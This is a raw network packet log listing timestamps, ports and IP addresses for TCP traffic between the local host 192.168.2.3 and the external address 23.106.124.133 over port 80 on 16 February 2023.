Feb 16, 2023 13:57:19.754336119 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754348040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754348040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754363060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754388094 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754400015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754400015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754412889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754440069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754445076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754466057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754477024 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754477024 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754492998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754525900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754528046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754528046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754551888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754578114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754585981 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754586935 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754602909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754628897 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754637957 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754637957 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754654884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754681110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754698992 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754698992 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754718065 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754719973 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754745007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754770041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754780054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754780054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754796028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754822016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754831076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754831076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754847050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754872084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754880905 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754880905 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754898071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754923105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754934072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754934072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754949093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754973888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754983902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754983902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754998922 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755023956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755033016 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755033016 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755049944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755074978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755085945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755085945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755100012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755125999 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755134106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755134106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755151033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755176067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755186081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755186081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755202055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755227089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755238056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755238056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755251884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755279064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755285978 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755285978 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755304098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755330086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755337000 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755337000 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755356073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755382061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755393028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755393028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755408049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755433083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755443096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755443096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755458117 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755482912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755494118 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755495071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755508900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755542040 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755547047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755547047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755568027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755594015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755604982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755604982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755620003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755645990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755656958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755656958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755671978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755697966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755713940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755713940 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755723000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755748987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755759001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755759001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755774975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755800009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755810976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755810976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.755825996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.755994081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859045029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859097004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859133959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859164953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859196901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859230042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859262943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859297991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859318018 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859318018 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859332085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859364033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859381914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859381914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859397888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859431028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859441996 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859441996 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859462976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859493971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859493971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859496117 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859529018 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859555006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859555006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859561920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859596968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859622002 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859622002 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859628916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859663010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859687090 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859688044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859694958 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859728098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859754086 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859754086 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859759092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859792948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859792948 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859824896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859831095 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859858036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859886885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859886885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859889984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859924078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859950066 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859950066 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.859955072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.859987020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860017061 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860018015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860017061 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860054016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860079050 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860079050 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860085964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860120058 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860141039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860141039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860152006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860184908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860203028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860203028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860218048 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860249996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860270977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860270977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860284090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860304117 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860316038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860348940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860379934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860383987 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860383987 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860413074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860435009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860435009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860445023 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860477924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860496998 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860496998 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860508919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860542059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860543966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860574961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860605955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860640049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860654116 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860654116 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860672951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860706091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860722065 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860739946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860754013 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860773087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860795021 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860795021 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860805988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860838890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860869884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860874891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860902071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860935926 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.860946894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860946894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.860970020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861001968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861011982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861011982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861033916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861057997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861068010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861090899 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861103058 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861135006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861139059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861139059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861167908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861182928 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861182928 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861202955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861234903 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861269951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861291885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861304045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861324072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861339092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861356020 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861372948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861393929 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861407042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861419916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861419916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861442089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861473083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861496925 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861510992 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861545086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861569881 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861569881 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861582041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861633062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861664057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861664057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861709118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861753941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861779928 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861779928 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861794949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861824989 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861829996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861852884 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861867905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861901045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861902952 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861932993 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861936092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861958981 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.861970901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.861995935 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862006903 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862041950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862057924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862057924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862076998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862104893 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862111092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862145901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862153053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862153053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862179995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862205029 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862212896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862246037 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862273932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862273932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862283945 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862320900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862345934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862346888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862356901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862385035 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862392902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862416029 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862427950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862457037 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862462997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862497091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862518072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862518072 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862529993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862556934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862566948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862601042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862602949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862637043 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862639904 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862639904 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862670898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862677097 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862724066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862735033 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862760067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862792969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862811089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862811089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862828016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862842083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862864017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862883091 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862900019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862932920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.862947941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862947941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.862967968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863001108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863014936 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863014936 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.863035917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863066912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.863085032 CET	49687	80	192.168.2.3	23.106.124.133
